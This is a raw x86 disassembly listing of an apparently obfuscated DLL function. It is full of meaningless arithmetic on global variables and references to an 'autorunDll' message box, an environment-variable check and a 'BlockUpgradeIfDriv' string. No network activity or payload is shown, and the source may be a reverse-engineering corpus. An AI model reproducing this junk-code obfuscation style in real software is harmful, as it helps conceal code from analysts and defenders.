mov byte [ebp - 0x12], al
mov ecx, 0x73
mov word [ebp - 0x34], cx
movzx edx, word [0x100cd094]
add edx, dword [0x100cd0e0]
mov dword [0x100cd0e0], edx
movsx eax, word [ebp - 0x34]
movsx ecx, byte [0x100cd06f]
mov edx, dword [ebp - 0x5c]
sub edx, ecx
xor edx, eax
mov byte [ebp - 0x12], dl
mov eax, dword [0x100cd0c0]
mov ecx, dword [0x100cd0c4]
mov dword [ebp - 0x7cc], ecx
sub eax, 0xa3da3ff3
mov byte [0x100cd047], al
jmp 0x1003bb03
movsx edx, word [ebp - 0x2c]
imul eax, edx, 0x59
cdq
mov dword [0x100cd0f8], eax
mov dword [0x100cd0fc], edx
movsx eax, word [ebp - 0x34]
sar eax, 7
mov byte [ebp - 0x14], al
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
add ecx, dword [ebp - 0x80]
adc edx, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x68]
mov esi, dword [ebp - 0x64]
sub eax, ecx
sbb esi, edx
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], esi
mov ecx, dword [ebp - 0xd8]
add ecx, 0x77
mov dword [ebp - 0x3a8], ecx
mov dword [ebp - 4], 2
mov byte [ebp - 4], 3
movzx edx, byte [0x100cd082]
test edx, edx
je 0x1003c028
push 0xd6
push 0
push 0
movzx eax, byte [ebp - 0x2c]
push eax
push 0x37
push 0x60
call fcn.1005b9d0
add esp, 0x18
mov byte [ebp - 0x8d], al
movzx eax, byte [ebp - 0x8d]
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
cmp dword [ebp - 0x50], 0
jl 0x1003bb74
jg 0x1003bb68
cmp dword [ebp - 0x54], 0
jbe 0x1003bb74
mov dword [ebp - 0x198], 1
jmp 0x1003bb7e
mov dword [ebp - 0x198], 0
cmp dword [ebp - 0x50], 0
jl 0x1003bb98
jg 0x1003bb8c
cmp dword [ebp - 0x54], 7
jbe 0x1003bb98
mov dword [ebp - 0x19c], 1
jmp 0x1003bba2
mov dword [ebp - 0x19c], 0
mov ecx, dword [ebp - 0x198]
cmp ecx, dword [ebp - 0x19c]
jl 0x1003bf0f
mov byte [0x100cd096], 4
mov edx, dword [0x100cd090]
sub edx, 0xb4c7
xor eax, eax
mov dword [0x100cd0d0], edx
mov dword [0x100cd0d4], eax
mov byte [0x100cd06f], 4
mov ecx, dword [ebp - 0x80]
add ecx, 0x76
mov esi, dword [ebp - 0x7c]
adc esi, 0
movsx eax, word [ebp - 0x34]
cdq
push esi
push ecx
push edx
push eax
call fcn.10099890
mov word [ebp - 0x34], ax
movzx edx, word [0x100cd094]
add edx, 0x24761105
mov dword [0x100cd104], edx
movsx eax, word [0x100cd0dc]
test eax, eax
jne 0x1003bc23
mov dword [ebp - 0x1a4], 1
jmp 0x1003bc2d
mov dword [ebp - 0x1a4], 0
movsx ecx, word [ebp - 0x2c]
test ecx, ecx
jne 0x1003bc41
mov dword [ebp - 0x1a0], 1
jmp 0x1003bc4b
mov dword [ebp - 0x1a0], 0
mov eax, dword [0x100cd104]
cdq
mov ecx, eax
add ecx, dword [0x100cd0b0]
movzx eax, word [ebp - 0x28]
xor eax, dword [ebp - 0x1a0]
cdq
sub eax, ecx
movsx edx, byte [ebp - 0x11]
sub edx, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0x40]
add ecx, edx
sub ecx, eax
mov word [0x100cd0b8], cx
mov edx, dword [ebp - 0x60]
shr edx, 4
xor eax, eax
mov dword [0x100cd088], edx
mov dword [0x100cd08c], eax
movsx ecx, byte [0x100cd096]
mov dword [ebp - 0x1a8], ecx
cmp dword [ebp - 0x1a8], 4
ja case.default.0x1003bcb4
mov edx, dword [ebp - 0x1a8]
jmp dword [edx*4 + 0x1004240c]
movsx eax, word [ebp - 0x20]
cdq
mov ecx, eax
sub ecx, dword [ebp - 0x78]
movsx eax, word [ebp - 0x20]
cdq
add eax, ecx
mov word [ebp - 0x20], ax
movzx edx, word [ebp - 0x30]
mov dword [ebp - 0x40], edx
movzx eax, byte [ebp - 0x12]
imul ecx, eax, 0x8696
add ecx, dword [0x100cd084]
mov dword [0x100cd084], ecx
movsx eax, word [0x100cd0ec]
cdq
add eax, 0x4eb3b0f6
mov dword [0x100cd0c8], eax
movzx eax, word [ebp - 0x1c]
add eax, 0xbf
cdq
mov ecx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x64]
sub ecx, eax
sbb esi, edx
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x64], esi
jmp case.default.0x1003bcb4
mov dx, word [0x100cdb38]
mov word [0x100cd0d8], dx
mov eax, dword [0x100cd0a4]
push eax
mov ecx, dword [0x100cd0a0]
push ecx
mov edx, dword [0x100cd0b4]
push edx
mov eax, dword [0x100cd0b0]
push eax
call fcn.10099890
mov byte [ebp - 0x13], al
movzx ecx, word [ebp - 0x28]
add ecx, 0x5bbc
mov word [ebp - 0x20], cx
movzx edx, word [ebp - 0x18]
sub edx, dword [ebp - 0x60]
movzx eax, word [ebp - 0x18]
add eax, edx
mov word [ebp - 0x18], ax
mov eax, dword [ebp - 0x78]
mov edx, dword [ebp - 0x74]
mov cl, 5
call fcn.100998d0
mov byte [0x100cd06e], al
mov dword [0x100cd100], 0x4486
jmp case.default.0x1003bcb4
movzx ecx, byte [ebp - 0x12]
shl ecx, 2
mov byte [0x100cd07f], cl
movsx eax, byte [str.6BlockUpgradeIfDriv]
cdq
mov ecx, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x38]
push edx
push eax
push esi
push ecx
call fcn.10099890
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
mov dword [0x100cd0a8], 0x31
movsx eax, word [ebp - 0x2c]
sub eax, 0x158027be
cdq
mov ecx, dword [ebp - 0x68]
mov esi, dword [ebp - 0x64]
add ecx, eax
adc esi, edx
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x64], esi
movzx dx, byte [ebp - 0x13]
mov word [ebp - 0x1c], dx
mov eax, 0xd8
mov word [ebp - 0x20], ax
jmp case.default.0x1003bcb4
movsx ecx, word [0x100cd0ec]
mov edx, 4
imul eax, edx, 0xc
mov dword [eax + 0x1023d5a0], ecx
mov eax, dword [0x100cd100]
sar eax, 3
cdq
mov dword [0x100cd0f8], eax
mov dword [0x100cd0fc], edx
movsx ecx, byte [0x100cd047]
sar ecx, 3
mov word [ebp - 0x18], cx
movsx eax, byte [str.6BlockUpgradeIfDriv]
sar eax, 5
cdq
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
movzx eax, word [ebp - 0x28]
cdq
push 0xa722a
push 0x88e769ef
push edx
push eax
call fcn.10099890
mov word [ebp - 0x1c], ax
movzx edx, word [ebp - 0x28]
add edx, 0x39943a14
mov eax, dword [0x100cd0a8]
sub eax, edx
mov dword [0x100cd0a8], eax
jmp case.default.0x1003bcb4
push 0
push 0xf5f
mov ecx, dword [0x100cd0fc]
push ecx
mov edx, dword [0x100cd0f8]
push edx
call fcn.10099890
mov byte [0x100cd07f], al
mov eax, dword [0x100cd0e4]
shl eax, 4
mov word [ebp - 0x24], ax
mov ecx, dword [ebp - 0x44]
add ecx, 0x49
xor edx, edx
add ecx, dword [0x100cd0f8]
adc edx, dword [0x100cd0fc]
mov dword [0x100cd0f8], ecx
mov dword [0x100cd0fc], edx
push 0
push 0x29ca8891
mov eax, dword [ebp - 0x50]
push eax
mov ecx, dword [ebp - 0x54]
push ecx
call fcn.10099890
mov byte [str.6BlockUpgradeIfDriv], al
movzx eax, word [0x100cd094]
cdq
push edx
push eax
mov edx, dword [0x100cd0a4]
push edx
mov eax, dword [0x100cd0a0]
push eax
call fcn.10099890
mov ecx, dword [0x100cd0a0]
sub ecx, eax
mov eax, dword [0x100cd0a4]
sbb eax, edx
mov dword [0x100cd0a0], ecx
mov dword [0x100cd0a4], eax
jmp 0x1003c023
mov ecx, dword [0x100cd0f0]
xor edx, edx
mov dword [ebp - 0x778], ecx
mov dword [ebp - 0x774], edx
mov eax, dword [ebp - 0x80]
cmp eax, dword [ebp - 0x778]
jne 0x1003bf39
mov ecx, dword [ebp - 0x7c]
cmp ecx, dword [ebp - 0x774]
je 0x1003bf45
mov dword [ebp - 0x1b0], 1
jmp 0x1003bf4f
mov dword [ebp - 0x1b0], 0
movzx edx, word [ebp - 0x24]
movsx eax, word [0x100cd0e8]
cmp eax, edx
jle 0x1003bf6a
mov dword [ebp - 0x1ac], 1
jmp 0x1003bf74
mov dword [ebp - 0x1ac], 0
mov ecx, dword [ebp - 0x1ac]
not ecx
mov edx, dword [ebp - 0x1b0]
not edx
imul edx, ecx
test edx, edx
je 0x1003c023
movsx eax, word [0x100cd0e8]
test eax, eax
je 0x1003bfa9
movsx ecx, byte [0x100cd083]
mov dword [ebp - 0x1b4], ecx
jmp 0x1003bfb6
movsx edx, word [0x100cd0ec]
mov dword [ebp - 0x1b4], edx
mov ax, word [ebp - 0x1b4]
mov word [0x100cd110], ax
mov ecx, 0xa961c
mov dword [0x100cd088], 0xa7f12d2
mov dword [0x100cd08c], ecx
mov ecx, dword [0x100cd0c0]
mov esi, dword [0x100cd0c4]
sub ecx, 0x4746
sbb esi, 0
movsx eax, word [ebp - 0x2c]
cdq
push esi
push ecx
push edx
push eax
call fcn.10099890
mov word [ebp - 0x2c], ax
mov edx, dword [ebp - 0x44]
shr edx, 7
mov byte [0x100cd083], dl
mov eax, dword [0x100cd0ac]
sub eax, 0x2c
movzx ecx, byte [ebp - 0x12]
movzx edx, byte [ebp - 0x14]
add edx, ecx
xor edx, eax
mov word [ebp - 0x18], dx
jmp 0x1003c0d5
cmp dword [0x100cd104], 0
je 0x1003c0d5
mov eax, 0x6d
mov word [0x100cd10c], ax
movsx eax, word [ebp - 0x2c]
cdq
mov ecx, eax
mov eax, dword [0x100cd0c8]
cdq
add eax, dword [0x100cd0f8]
add eax, ecx
mov byte [0x100cd026], al
movsx eax, word [0x100cd0ec]
cdq
mov ecx, dword [0x100cd088]
mov esi, dword [0x100cd08c]
add ecx, eax
adc esi, edx
mov edx, dword [0x100cd088]
mov eax, dword [0x100cd08c]
push esi
push ecx
push eax
push edx
call fcn.10099890
mov dword [0x100cd088], eax
mov dword [0x100cd08c], edx
movsx ecx, word [ebp - 0x34]
test ecx, ecx
je 0x1003c0b2
mov edx, dword [0x100cd0b0]
mov eax, dword [0x100cd0b4]
mov dword [ebp - 0x4b4], edx
mov dword [ebp - 0x4b0], eax
jmp 0x1003c0ca
mov ecx, dword [0x100cd0b0]
mov edx, dword [0x100cd0b4]
mov dword [ebp - 0x4b4], ecx
mov dword [ebp - 0x4b0], edx
mov eax, dword [ebp - 0x4b4]
mov dword [0x100cd084], eax
jmp 0x1003c149
mov dword [ebp - 4], 2
jmp 0x1003c159
jmp 0x1003c1b8
mov dword [ebp - 4], 0xffffffff
jmp 0x1003c1c8
push 0
push 0x100a6978
push str.autorunDll
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov dword [ebp - 0xdc], 0
jmp 0x1003c1f7
mov eax, dword [ebp - 0xdc]
add eax, 1
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 0x20c
jge 0x1003c373
push 0xb4
push 0
call fcn.1005f940
add esp, 8
mov word [ebp - 0x20], ax
movsx ecx, word [ebp - 0x20]
test ecx, ecx
je 0x1003c362
mov edx, dword [ebp - 0x54]
or edx, dword [ebp - 0x50]
je 0x1003c297
movsx eax, byte [ebp - 0x11]
cdq
mov ecx, eax
add ecx, dword [ebp - 0x80]
movsx eax, byte [ebp - 0x11]
cdq
sub eax, ecx
mov byte [ebp - 0x11], al
movsx edx, byte [0x100cd047]
add edx, 0xdd55
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x58]
cdq
sub eax, dword [ebp - 0x80]
mov dword [0x100cd0a8], eax
mov ax, word [0x100cd108]
sub ax, 1
mov word [0x100cd108], ax
movsx ecx, word [0x100cd0ec]
sub ecx, 0xdccc
mov word [ebp - 0x30], cx
mov edx, dword [0x100cd084]
add edx, 0x201be6de
mov word [0x100cd108], dx
jmp 0x1003c362
mov ecx, dword [0x100cd0c0]
mov edx, dword [0x100cd0c4]
mov dword [ebp - 0x7d4], edx
movzx eax, word [ebp - 0x1c]
cdq
mov esi, eax
sub esi, ecx
movzx eax, word [ebp - 0x1c]
cdq
sub eax, esi
mov word [ebp - 0x1c], ax
push 0x505e7
push 0x2cdff616
mov eax, dword [ebp - 0x74]
push eax
mov ecx, dword [ebp - 0x78]
push ecx
call fcn.10099890
mov dword [0x100cd0f8], eax
mov dword [0x100cd0fc], edx
movsx edx, word [0x100cd108]
sub edx, 0x1f5d
mov byte [0x100cd06e], dl
mov eax, dword [0x100cd0a0]
or eax, dword [0x100cd0a4]
je 0x1003c30d
mov ecx, dword [0x100cd0f0]
mov dword [ebp - 0x1b8], ecx
jmp 0x1003c317
movzx edx, byte [ebp - 0x13]
mov dword [ebp - 0x1b8], edx
mov ax, word [ebp - 0x1b8]
mov word [ebp - 0x1c], ax
mov ecx, dword [ebp - 0x68]
mov edx, dword [ebp - 0x64]
xor ecx, 0xaf4e3f0c
xor edx, 0x1a0dd
mov eax, dword [0x100cd0a0]
sub eax, ecx
mov ecx, dword [0x100cd0a4]
sbb ecx, edx
mov dword [0x100cd0a0], eax
mov dword [0x100cd0a4], ecx
movzx edx, word [ebp - 0x28]
xor edx, dword [0x100cd0e4]
movzx eax, word [ebp - 0x28]
add eax, edx
mov word [ebp - 0x28], ax
mov cx, word [ebp - 0x20]
add cx, 1
mov word [ebp - 0x20], cx
jmp 0x1003c1e8
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x7d8], eax
add edx, 0x6b323061
mov dword [0x100cd084], edx
imul ecx, dword [0x100cd100], 0xed7cebc6
mov word [0x100cd108], cx
movzx edx, word [0x100cd094]
movzx eax, word [ebp - 0x1c]
sub eax, edx
cdq
mov ecx, dword [0x100cd118]
sub ecx, eax
mov eax, dword [0x100cd11c]
sbb eax, edx
mov dword [0x100cd0f8], ecx
mov dword [0x100cd0fc], eax
mov ecx, dword [0x100cd0ac]
add ecx, 0x13
mov edx, dword [ebp - 0x40]
sub edx, ecx
mov dword [ebp - 0x40], edx
mov dword [ebp - 4], 6
movzx eax, byte [ebp - 0x13]
imul ecx, eax, 0x9c
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x780], edx
mov dword [ebp - 0x77c], eax
mov ecx, dword [ebp - 0x780]
or ecx, dword [ebp - 0x77c]
jne 0x1003c415
mov dword [ebp - 0x1bc], 1
jmp 0x1003c41f
mov dword [ebp - 0x1bc], 0
mov ecx, dword [0x100cd0c0]
mov esi, dword [0x100cd0c4]
movzx eax, word [0x100cd0b8]
cdq
push esi
push ecx
push edx
push eax
call fcn.10099890
mov ecx, eax
mov esi, edx
mov edi, dword [0x100cd0c0]
mov ebx, dword [0x100cd0c4]
movsx eax, word [ebp - 0x2c]
cdq
xor eax, edi
xor edx, ebx
movsx edi, word [ebp - 0x2c]
add edi, dword [ebp - 0x1bc]
mov dword [ebp - 0x4e8], eax
mov eax, edi
mov dword [ebp - 0x4ec], edx
cdq
mov edi, dword [ebp - 0x4e8]
add eax, edi
mov edi, dword [ebp - 0x4ec]
adc edx, edi
add eax, ecx
adc edx, esi
mov dword [0x100cd0c0], eax
mov dword [0x100cd0c4], edx
movzx edx, word [ebp - 0x18]
add edx, 1
mov word [ebp - 0x18], dx
mov eax, dword [0x100cd090]
add eax, dword [ebp - 0x78]
mov ecx, dword [0x100cd090]
add ecx, eax
mov dword [0x100cd090], ecx
movsx edx, word [0x100cd108]
sar edx, 8
mov dword [0x100cd0c8], edx
jmp 0x1003c57b
mov dword [ebp - 4], 0xffffffff
jmp 0x1003c58b
push 0
push 0x6b
mov eax, dword [0x100cd11c]
push eax
mov ecx, dword [0x100cd118]
push ecx
call fcn.10099890
mov byte [ebp - 0x12], al
cmp dword [ebp - 0x4c], 0
je 0x1003c5b5
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0x1c4], edx
jmp 0x1003c5be
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x1c4], eax
mov cx, word [ebp - 0x1c4]
mov word [0x100cd110], cx
movzx edx, word [ebp - 0x1c]
movsx eax, byte [str.6BlockUpgradeIfDriv]
imul eax, edx
movsx ecx, byte [str.6BlockUpgradeIfDriv]
imul ecx, eax
mov byte [str.6BlockUpgradeIfDriv], cl
mov edx, 0xffff81d9
mov word [0x100cd0dc], dx
mov eax, dword [ebp - 0x4f0]
imul eax, dword [ebp - 0xe0]
mov ecx, dword [ebp - 0xe0]
lea edx, [ecx + eax + 0x121]
mov eax, dword [ebp - 0xe0]
sub eax, 0x216
xor eax, 0x66e
cmp eax, edx
je 0x1003ccec
movzx ecx, word [ebp - 0x24]
xor ecx, 0x75
mov word [ebp - 0x1c], cx
movzx eax, byte [0x100cd082]
cdq
add eax, dword [ebp - 0x80]
mov byte [0x100cd082], al
mov edx, dword [0x100cd118]
or edx, dword [0x100cd11c]
jne 0x1003c65f
mov eax, 1
mov word [ebp - 0x9a], ax
jmp 0x1003c668
xor ecx, ecx
mov word [ebp - 0x9a], cx
mov dx, word [ebp - 0x9a]
mov word [0x100cd0e8], dx
mov dword [ebp - 0xe4], 7
imul eax, dword [ebp - 0x48], 0xc20b
mov word [0x100cd0e8], ax
movzx ecx, byte [ebp - 0x14]
sub ecx, dword [0x100cd0e4]
movzx edx, byte [ebp - 0x14]
add edx, ecx
mov byte [ebp - 0x14], dl
mov eax, dword [ebp - 0x48]
add eax, 1
mov dword [ebp - 0x48], eax
mov ecx, dword [0x100cd088]
mov edx, dword [0x100cd08c]
push 0
push 0xc1
push edx
push ecx
call fcn.10099890
mov dword [0x100cd090], eax
movsx eax, word [0x100cd0ec]
imul ecx, eax, 0x98
movzx edx, word [ebp - 0x24]
add edx, ecx
mov word [ebp - 0x24], dx
xor eax, eax
mov dword [ebp - 0x78], 1
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x7dc], edx
movsx eax, byte [ebp - 0x11]
cdq
mov esi, eax
sub esi, ecx
movsx eax, byte [ebp - 0x11]
cdq
add eax, esi
mov byte [ebp - 0x11], al
movzx eax, byte [0x100cd06e]
imul ecx, eax, 0xb4
mov byte [ebp - 0x14], cl
mov edx, dword [ebp - 0xe4]
add edx, 1
mov dword [ebp - 0xe4], edx
cmp dword [ebp - 0xe4], 0x10d9
jl 0x1003c6a9
xor eax, eax
mov byte [ebp - 0x86], al
push 0x104
lea ecx, [ebp - 0x19a8]
push ecx
lea edx, [ebp - 0x906]
push edx
lea ecx, [ebp - 0x86]
call fcn.10002700
mov ecx, eax
call fcn.10055730
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x1003ccec
mov eax, 2
mov word [ebp - 0x28], ax
movsx ecx, byte [str.6BlockUpgradeIfDriv]
sub ecx, 0x7a66edad
mov word [0x100cd0d8], cx
mov edx, dword [0x100cdb38]
mov dword [0x100cd0e0], edx
movzx eax, word [ebp - 0x30]
cdq
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], edx
mov eax, 0xffffb663
mov word [ebp - 0x20], ax
movzx ecx, word [ebp - 0x28]
mov dword [ebp - 0xe8], ecx
cmp dword [ebp - 0xe8], 0
je 0x1003c7e4
cmp dword [ebp - 0xe8], 1
je 0x1003c86c
cmp dword [ebp - 0xe8], 2
je 0x1003c90d
jmp 0x1003ca66
mov edx, dword [ebp - 0x54]
add edx, 0xebd210f3
mov dword [0x100cd0a8], edx
movsx eax, byte [ebp - 0x11]
cdq
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x7e0], edx
xor ecx, eax
movsx eax, word [ebp - 0x20]
mov edx, dword [0x100cd0e4]
sub edx, eax
add edx, ecx
mov dword [ebp - 0x58], edx
movzx eax, byte [0x100cd027]
imul ecx, eax, 0x85f3
mov dword [0x100cd0e4], ecx
imul edx, dword [ebp - 0x5c], 0x9cbff1cc
xor eax, eax
mov dword [0x100cd0a0], edx
mov dword [0x100cd0a4], eax
movsx ecx, byte [0x100cd06f]
sub ecx, dword [0x100cd0e4]
mov byte [0x100cd06f], cl
mov dx, word [0x100cd098]
mov eax, 2
imul ecx, eax, 0x4e
mov word [ecx + 0x103db9d0], dx
jmp 0x1003ca66
cmp dword [0x100cd0ac], 0
jne 0x1003c889
xor edx, edx
mov dword [ebp - 0x788], 1
mov dword [ebp - 0x784], edx
jmp 0x1003c894
xorps xmm0, xmm0
movlpd qword [ebp - 0x788], xmm0
mov eax, dword [ebp - 0x70]
not eax
add eax, dword [ebp - 0x788]
mov byte [ebp - 0x12], al
cmp dword [0x100cd0e4], 0
je 0x1003c8b7
movsx ecx, byte [ebp - 0x11]
mov dword [ebp - 0x1c8], ecx
jmp 0x1003c8c1
movzx edx, word [ebp - 0x30]
mov dword [ebp - 0x1c8], edx
mov eax, dword [ebp - 0x1c8]
cdq
mov dword [0x100cd088], eax
mov dword [0x100cd08c], edx
movzx eax, word [ebp - 0x18]
imul eax, dword [0x100cd0a8]
movzx ecx, word [ebp - 0x18]
imul ecx, eax
mov word [ebp - 0x18], cx
movsx eax, word [0x100cd110]
add eax, 0xd73b
cdq
mov dword [0x100cd0d0], eax
mov dword [0x100cd0d4], edx
mov dword [ebp - 0x5c], 0x6f
jmp 0x1003ca66
movsx edx, word [ebp - 0x34]
test edx, edx
jne 0x1003c921
mov dword [ebp - 0x1cc], 1
jmp 0x1003c92b
mov dword [ebp - 0x1cc], 0
movzx eax, word [ebp - 0x18]
not eax
movsx ecx, byte [0x100cd06f]
sub ecx, eax
add ecx, 0x65c00d1a
mov eax, ecx
cdq
mov esi, eax
mov edi, edx
movzx eax, byte [0x100cd082]
sub eax, dword [ebp - 0x1cc]
cdq
mov ecx, eax
mov ebx, edx
movsx eax, word [0x100cd108]
cdq
add eax, dword [0x100cd0b0]
adc edx, dword [0x100cd0b4]
push ebx
push ecx
push edx
push eax
call fcn.10099890
push edi
push esi
push edx
push eax
call fcn.10099890
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x70]
sub ecx, 0xf620ae6e
mov eax, dword [0x100cd104]
cdq
add eax, ecx
mov dword [0x100cd104], eax
movsx edx, word [0x100cd0ec]
test edx, edx
je 0x1003c9b0
mov eax, dword [0x100cd0e4]
mov dword [ebp - 0x1d0], eax
jmp 0x1003c9bd
movsx ecx, word [0x100cd0e8]
mov dword [ebp - 0x1d0], ecx
mov edx, dword [ebp - 0x1d0]
xor eax, eax
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], eax
mov cl, byte [0x100cd0b0]
mov byte [0x100cd047], cl
mov edx, dword [ebp - 0x78]
or edx, dword [ebp - 0x74]
jne 0x1003c9eb
mov dword [ebp - 0x1d4], 1
jmp 0x1003c9f5
mov dword [ebp - 0x1d4], 0
mov eax, dword [0x100cd090]
imul eax, dword [ebp - 0x1d4]
xor ecx, ecx
and eax, dword [0x100cd0a0]
and ecx, dword [0x100cd0a4]
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x52c], ecx
mov edx, dword [ebp - 0x530]
or edx, dword [ebp - 0x52c]
jne 0x1003ca3d
xor eax, eax
mov dword [ebp - 0x3f4], 1
mov dword [ebp - 0x3f0], eax
jmp 0x1003ca48
xorps xmm0, xmm0
movlpd qword [ebp - 0x3f4], xmm0
mov ecx, dword [ebp - 0x3f4]
mov edx, dword [ebp - 0x3f0]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], edx
movzx eax, word [ebp - 0x18]
mov ecx, dword [ebp - 0x60]
sub ecx, eax
mov dword [ebp - 0x60], ecx
movsx edx, word [ebp - 0x34]
test edx, edx
je 0x1003cb03
xor eax, eax
mov dword [0x100cd118], 2
mov dword [0x100cd11c], eax
movzx ecx, word [ebp - 0x1c]
test ecx, ecx
je 0x1003caa4
mov edx, dword [0x100cd088]
mov eax, dword [0x100cd08c]
mov dword [ebp - 0x3fc], edx
mov dword [ebp - 0x3f8], eax
jmp 0x1003cab6
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x3fc], ecx
mov dword [ebp - 0x3f8], edx
mov ax, word [ebp - 0x3fc]
mov word [ebp - 0x2c], ax
movzx ecx, byte [0x100cd082]
add ecx, 0xd6
mov eax, dword [0x100cd100]
sub eax, ecx
cdq
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], edx
movzx eax, byte [0x100cd06e]
cdq
add eax, dword [0x100cd0b0]
not eax
mov dword [0x100cd104], eax
movzx edx, byte [ebp - 0x13]
sar edx, 3
mov byte [0x100cd082], dl
jmp 0x1003cce5
movsx eax, word [0x100cd098]
not eax
cmp eax, dword [0x100cd090]
ja 0x1003cb20
mov dword [ebp - 0x1d8], 1
jmp 0x1003cb2a
mov dword [ebp - 0x1d8], 0
mov ecx, dword [ebp - 0x1d8]
not ecx
test ecx, ecx
je 0x1003cc17
movzx edx, byte [ebp - 0x13]
mov ecx, dword [ebp - 0x40]
sub ecx, edx
movzx eax, word [ebp - 0x18]
not eax
cdq
mov esi, eax
add esi, dword [ebp - 0x78]
sub esi, ecx
movzx edx, byte [ebp - 0x14]
movzx eax, byte [ebp - 0x13]
not eax
imul eax, edx
cdq
add eax, esi
mov word [0x100cd110], ax
movzx eax, byte [ebp - 0x13]
and eax, dword [0x100cd104]
mov byte [ebp - 0x13], al
movsx ecx, word [0x100cd0e8]
movsx edx, byte [0x100cd06f]
imul edx, ecx
movsx eax, byte [0x100cd06f]
and eax, edx
mov byte [0x100cd06f], al
mov ecx, 0xcd9cc
mov dword [0x100cd0c0], 0x5ec0be35
mov dword [0x100cd0c4], ecx
movzx edx, byte [ebp - 0x12]
xor edx, 0x174424e
mov byte [0x100cd06f], dl
cmp dword [ebp - 0x40], 0
jne 0x1003cbca
mov dword [ebp - 0x1dc], 1
jmp 0x1003cbd4
mov dword [ebp - 0x1dc], 0
movzx eax, byte [0x100cd027]
sub eax, dword [0x100cd0a8]
imul esi, eax, 0
mov ecx, dword [0x100cd090]
xor edx, edx
mov eax, dword [ebp - 0x6c]
push eax
mov eax, dword [ebp - 0x70]
push eax
push edx
push ecx
call fcn.10099890
mov ecx, dword [ebp - 0x44]
imul ecx, dword [ebp - 0x1dc]
add ecx, eax
not ecx
sub ecx, esi
mov word [0x100cd0ec], cx
jmp 0x1003cce5
mov edx, 0xe8
test edx, edx
je 0x1003cc88
movzx eax, byte [0x100cd07f]
cdq
add eax, dword [0x100cd0d0]
adc edx, dword [0x100cd0d4]
add eax, dword [0x100cd0d0]
adc edx, dword [0x100cd0d4]
mov dword [0x100cd0d0], eax
mov dword [0x100cd0d4], edx
movsx eax, word [0x100cd098]
mov ecx, dword [ebp - 0x58]
add ecx, eax
mov dword [ebp - 0x58], ecx
movzx edx, word [ebp - 0x18]
sar edx, 7
mov byte [0x100cd096], dl
mov dword [0x100cd100], 0x63
imul eax, dword [ebp - 0x40], 0x61e91d2a
mov ecx, dword [0x100cd0c8]
add ecx, eax
mov dword [0x100cd0c8], ecx
jmp 0x1003cce5
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x538], edx
mov dword [ebp - 0x534], eax
mov ecx, dword [ebp - 0x538]
or ecx, dword [ebp - 0x534]
je 0x1003cce5
movzx edx, byte [ebp - 0x14]
add edx, 0x6434
mov eax, dword [ebp - 0x4c]
sub eax, edx
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x5c]
sub ecx, 0x6190
mov dword [0x100cd104], ecx
movsx edx, byte [0x100cd026]
add edx, 0xe66d
mov dword [0x100cd104], edx
mov eax, dword [ebp - 0x54]
add eax, 0x1a
mov dword [ebp - 0x60], eax
xor eax, eax
jmp 0x100423d0
movsx ecx, byte [0x100cd083]
not ecx
test ecx, ecx
je 0x1003cea3
mov edx, 1
mov word [ebp - 0x18], dx
movsx eax, byte [0x100cd026]
movsx ecx, word [ebp - 0x20]
movzx edx, word [ebp - 0x24]
sub edx, ecx
add eax, edx
cdq
mov ecx, dword [0x100cd0c0]
mov edx, dword [0x100cd0c4]
mov dword [ebp - 0x7e4], edx
add ecx, 0x92
and ecx, eax
mov byte [0x100cd06e], cl
mov eax, dword [ebp - 0x5c]
mov ecx, 2
imul edx, ecx, 0x3a1
mov word [edx + 0x104551f0], ax
xor eax, eax
mov dword [ebp - 0x54], 8
mov dword [ebp - 0x50], eax
movsx ecx, word [ebp - 0x20]
add ecx, 8
mov dword [0x100cd0c8], ecx
mov edx, dword [ebp - 0x60]
shr edx, 5
mov dword [ebp - 0x44], edx
movsx eax, byte [0x100cd026]
mov ecx, dword [ebp - 0x58]
add ecx, eax
mov dword [ebp - 0x58], ecx
movzx edx, word [ebp - 0x18]
mov dword [ebp - 0x1e0], edx
cmp dword [ebp - 0x1e0], 0
je 0x1003cda5
cmp dword [ebp - 0x1e0], 1
je 0x1003ce2b
jmp 0x1003cea1
movsx eax, word [ebp - 0x34]
movzx ecx, byte [ebp - 0x12]
add ecx, eax
movzx edx, byte [ebp - 0x12]
or edx, ecx
mov byte [ebp - 0x12], dl
movsx eax, word [ebp - 0x20]
add eax, 0x2315a8ce
mov dword [0x100cd084], eax
movzx eax, byte [ebp - 0x13]
sub eax, 0x5e18
cdq
mov dword [0x100cd118], eax
mov dword [0x100cd11c], edx
movzx ecx, word [0x100cd10c]
imul edx, ecx, 0x3a413fed
